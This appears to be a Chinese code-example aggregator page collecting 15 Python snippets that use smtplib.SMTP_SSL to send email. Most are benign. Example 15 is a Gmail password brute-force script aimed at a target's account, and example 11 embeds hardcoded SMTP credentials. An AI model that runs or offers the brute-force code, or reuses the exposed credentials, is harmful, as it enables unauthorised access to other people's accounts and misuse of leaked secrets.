当前位置: 首页>>代码示例>>Python>>正文


Python smtplib.SMTP_SSL属性代码示例

本文整理汇总了Python中smtplib.SMTP_SSL属性的典型用法代码示例。如果您正苦于以下问题:Python smtplib.SMTP_SSL属性的具体用法?Python smtplib.SMTP_SSL怎么用?Python smtplib.SMTP_SSL使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在smtplib的用法示例。


在下文中一共展示了smtplib.SMTP_SSL属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: envia_relatorio_txt_por_email

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def envia_relatorio_txt_por_email(assunto, relatorio):
    gmail_user = os.environ['GMAIL_FROM']
    gmail_password = os.environ['GMAIL_PASSWORD']
    to = os.environ['SEND_TO'].split(sep=';')

    print('enviando email para : ' + str(to))

    try:
        server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
        server.ehlo()
        server.login(gmail_user, gmail_password)

        message = 'Subject: {}\n\n{}'.format(assunto, relatorio)
        server.sendmail(gmail_user, to, message.encode("utf8"))
        server.quit()
        print('Email enviado com sucesso')
        return True
    except Exception as ex:
        print('Erro ao enviar email')
        print(ex)
        return False 
开发者ID:guilhermecgs,项目名称:ir,代码行数:23,代码来源:envia_relatorio_por_email.py

示例2: envia_relatorio_html_por_email

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def envia_relatorio_html_por_email(assunto, relatorio_html):
    gmail_user = os.environ['GMAIL_FROM']
    gmail_password = os.environ['GMAIL_PASSWORD']
    to = os.environ['SEND_TO'].split(sep=';')

    msg = MIMEText(relatorio_html, 'html')
    msg['Subject'] = assunto
    msg['From'] = gmail_user

    try:
        server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
        server.ehlo()
        server.login(gmail_user, gmail_password)
        for to_addrs in to:
            msg['To'] = to_addrs
            server.send_message(msg, from_addr=gmail_user, to_addrs=to_addrs)
        print('Email enviado com sucesso')
        return True
    except Exception as ex:
        print('Erro ao enviar email')
        print(ex)
        return False 
开发者ID:guilhermecgs,项目名称:ir,代码行数:24,代码来源:envia_relatorio_por_email.py

示例3: send_message

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def send_message(self, to_user, title, body, **kwargs):
        if self.ssl:
            smtp_client = smtplib.SMTP_SSL()
        else:
            smtp_client = smtplib.SMTP()
        smtp_client.connect(zvt_env['smtp_host'], zvt_env['smtp_port'])
        smtp_client.login(zvt_env['email_username'], zvt_env['email_password'])
        msg = MIMEMultipart('alternative')
        msg['Subject'] = Header(title).encode()
        msg['From'] = "{} <{}>".format(Header('zvt').encode(), zvt_env['email_username'])
        if type(to_user) is list:
            msg['To'] = ", ".join(to_user)
        else:
            msg['To'] = to_user
        msg['Message-id'] = email.utils.make_msgid()
        msg['Date'] = email.utils.formatdate()

        plain_text = MIMEText(body, _subtype='plain', _charset='UTF-8')
        msg.attach(plain_text)

        try:
            smtp_client.sendmail(zvt_env['email_username'], to_user, msg.as_string())
        except Exception as e:
            self.logger.exception('send email failed', e) 
开发者ID:zvtvz,项目名称:zvt,代码行数:26,代码来源:informer.py

示例4: send_mail

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def send_mail(send_from, send_to, subject, text, files=[], server="localhost", ssl=False, username=None, password=None):
    msg = MIMEMultipart('alternative')
    msg.set_charset('utf-8')
    msg['From'] = send_from
    msg['To'] = send_to
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject
    part = MIMEText(text)
    part.set_charset('utf-8')
    msg.attach(part)
    if ssl:
        smtp = smtplib.SMTP_SSL(server)
    else:
        smtp = smtplib.SMTP(server)
    if username:
        smtp.login(username, password)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close() 
开发者ID:leancloud,项目名称:satori,代码行数:20,代码来源:smtp.py

示例5: check_requirements

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def check_requirements(self):
        """Logs in to SMTP server to check credentials and settings"""
        if self.use_ssl:
            server = smtplib.SMTP_SSL(self.host, self.port)
        else:
            server = smtplib.SMTP(self.host, self.port)
        server.ehlo()
        if self.use_starttls:
            server.starttls()
            server.ehlo()
        try:
            if self.login_required:
                server.login(self.fromuser, self.frompwd)
        except Exception as ex:
            _logger.error("Cannot connect to your SMTP account. "
                          "Correct your config and try again. Error details:")
            _logger.error(ex)
            raise
        _logger.info("SMTP server check passed") 
开发者ID:MA3STR0,项目名称:kimsufi-crawler,代码行数:21,代码来源:email_notifier.py

示例6: notify

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def notify(self, title, text, url=None):
        """Send email notification using SMTP"""
        msg = MIMEMultipart()
        msg['From'] = self.fromaddr
        msg['To'] = self.toaddr
        msg['Subject'] = title
        body = text if url else text + '\nURL: ' + url
        msg.attach(MIMEText(body, 'plain'))
        if self.use_ssl:
            server = smtplib.SMTP_SSL(self.host, self.port)
        else:
            server = smtplib.SMTP(self.host, self.port)
        server.ehlo()
        if self.use_starttls:
            server.starttls()
            server.ehlo()
        if self.login_required:
          server.login(self.fromuser, self.frompwd)
        text = msg.as_string()
        server.sendmail(self.fromaddr, self.toaddr, text) 
开发者ID:MA3STR0,项目名称:kimsufi-crawler,代码行数:22,代码来源:email_notifier.py

示例7: closure

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def closure(host, fromEmail, toEmail):
			def smtpConnect():
				try:
					smtp = smtplib.SMTP_SSL(host)
				except socket.error:
					smtp = smtplib.SMTP(host)
				if password:
					smtp.login(fromEmail, password)
				return smtp
			try:
				smtpConnect()
				def handle(preamble, hotels):
					msg = MIMEText("%s\n\n%s\n\n%s" % (preamble, '\n'.join("  * %s: %s: %s" % (hotel['distance'], hotel['name'].encode('utf-8'), hotel['room'].encode('utf-8')) for hotel in hotels), baseUrl + '/home'), 'plain', 'utf-8')
					msg['Subject'] = 'Gencon Hotel Search'
					msg['From'] = fromEmail
					msg['To'] = toEmail
					smtpConnect().sendmail(fromEmail, toEmail.split(','), msg.as_string())
				alertFns.append(handle)
				return True
			except Exception as e:
				print(e)
				return False 
开发者ID:mrozekma,项目名称:gencon-hotel-check,代码行数:24,代码来源:gencon-hotel-check.py

示例8: send_email

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def send_email(self, email_dict):
        """
        Send a notification e-mail with the content of the dictionary provided as argument
        :param email_dict: contains all information for the e-mail including body, subject, from, recipient
        """
        try:
            msg = MIMEText(email_dict["body"])
            msg['Subject'] = email_dict["subject"]
            msg['From'] = self.smtp_user
            msg['To'] = self.notification_email

            smtp_ssl_con = smtplib.SMTP_SSL(self.smtp_server, self.smtp_port)
            smtp_ssl_con.login(self.smtp_user, self.smtp_pass)
            smtp_ssl_con.send_message(msg)
            smtp_ssl_con.quit()
        except Exception:
            self.logging.logger.error("something went wrong sending notification e-mail", exc_info=True) 
开发者ID:NVISO-BE,项目名称:ee-outliers,代码行数:19,代码来源:notifier.py

示例9: mail_ads

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def mail_ads(self, ad_dict, email_title):
        subject = self.__create_email_subject(email_title, len(ad_dict))
        body = self.__create_email_body(ad_dict)

        msg = MIMEText(body, 'html')
        msg['Subject'] = subject
        msg['From'] = self.from_email
        msg['To'] = self.receiver

        server = smtplib.SMTP_SSL(self.smtp_server, self.smtp_port)

        server.ehlo()
        server.login(self.username, self.password)
        server.send_message(msg)

        server.quit() 
开发者ID:CRutkowski,项目名称:Kijiji-Scraper,代码行数:18,代码来源:email_client.py

示例10: send_mail

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def send_mail(to_list, sub, content, cc=None):
    '''
    Sending email via Python.
    '''
    sender = SMTP_CFG['name'] + "<" + SMTP_CFG['user'] + ">"
    msg = MIMEText(content, _subtype='html', _charset='utf-8')
    msg['Subject'] = sub
    msg['From'] = sender
    msg['To'] = ";".join(to_list)
    if cc:
        msg['cc'] = ';'.join(cc)
    try:
        # Using SMTP_SSL. The alinyun ECS has masked the 25 port since 9,2016.
        smtper = smtplib.SMTP_SSL(SMTP_CFG['host'], port=994)
        smtper.login(SMTP_CFG['user'], SMTP_CFG['pass'])
        smtper.sendmail(sender, to_list, msg.as_string())
        smtper.close()
        return True
    except:
        return False 
开发者ID:bukun,项目名称:TorCMS,代码行数:22,代码来源:send_email.py

示例11: _send_message

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def _send_message(message):

    smtp = smtplib.SMTP_SSL('email-smtp.eu-west-1.amazonaws.com', 465)

    try:
        smtp.login(
            user='AKIAITZ6BSMD7DMZYTYQ',
            password='Ajf0ucUGJiN44N6IeciTY4ApN1os6JCeQqyglRSI2x4V')
    except SMTPAuthenticationError:
        return Response('Authentication failed',
                        status=HTTPStatus.UNAUTHORIZED)

    try:
        smtp.sendmail(message['From'], message['To'], message.as_string())
    except SMTPRecipientsRefused as e:
        return Response(f'Recipient refused {e}',
                        status=HTTPStatus.INTERNAL_SERVER_ERROR)
    finally:
        smtp.quit()

    return Response('Email sent', status=HTTPStatus.OK) 
开发者ID:PacktPublishing,项目名称:Python-Programming-Blueprints,代码行数:23,代码来源:app.py

示例12: connect

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def connect(self, host, port, ssl, helo, starttls, timeout):

    if ssl == '0':
      if not port:
        port = 25
      fp = SMTP(timeout=int(timeout))
    else:
      if not port:
        port = 465
      fp = SMTP_SSL(timeout=int(timeout))

    resp = fp.connect(host, int(port))

    if helo:
      cmd, name = helo.split(' ', 1)

      if cmd.lower() == 'ehlo':
        resp = fp.ehlo(name)
      else:
        resp = fp.helo(name)

    if not starttls == '0':
      resp = fp.starttls()

    return TCP_Connection(fp, resp) 
开发者ID:lanjelot,项目名称:patator,代码行数:27,代码来源:patator.py

示例13: test

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def test(config):

    import smtplib

    logger = logging.getLogger('SMTPListenerTest')

    server = smtplib.SMTP_SSL('localhost', config.get('port', 25))

    message = "From: test@test.com\r\nTo: test@test.com\r\n\r\nTest message\r\n"

    logger.info('Testing email request.')
    logger.info('-'*80)
    server.set_debuglevel(1)
    server.sendmail('test@test.com','test@test.com', message)
    server.quit()
    logger.info('-'*80) 
开发者ID:fireeye,项目名称:flare-fakenet-ng,代码行数:18,代码来源:SMTPListener.py

示例14: send_email

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def send_email():
    """
    发送邮件
    """
    if not is_friday():
        return

    content = get_email_content()
    message = MIMEText(content, "html", MAIL_ENCODING)
    message["From"] = Header("weekly-bot", MAIL_ENCODING)
    message["To"] = Header("Reader")
    message["Subject"] = Header("weekly", MAIL_ENCODING)
    try:
        smtp_obj = smtplib.SMTP_SSL(MAIL_HOST)
        smtp_obj.login(MAIL_USER, MAIL_PASS)
        smtp_obj.sendmail(MAIL_SENDER, MAIL_RECEIVER, message.as_string())
        smtp_obj.quit()
    except Exception as e:
        print(e) 
开发者ID:chenjiandongx,项目名称:weekly-email-subscribe,代码行数:21,代码来源:core.py

示例15: login

# 需要导入模块: import smtplib [as 别名]
# 或者: from smtplib import SMTP_SSL [as 别名]
def login():
    i = 0
    usr = raw_input('What is the targets email address :')
    server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
    server.ehlo()
    for passw in pass_lst:
      i = i + 1
      print str(i) + '/' + str(len(pass_lst))
      try:
         server.login(usr, passw)
         print '[+] Password Found: %s ' % passw
         break
      except smtplib.SMTPAuthenticationError as e:
         error = str(e)
         if error[14] == '<':
            print '[+] Password Found: %s ' % passw
            break
         else:
            print '[!] Password Incorrect: %s ' % passw 
开发者ID:xHak9x,项目名称:gmailhack,代码行数:21,代码来源:gmailhack.py


注:本文中的smtplib.SMTP_SSL属性示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。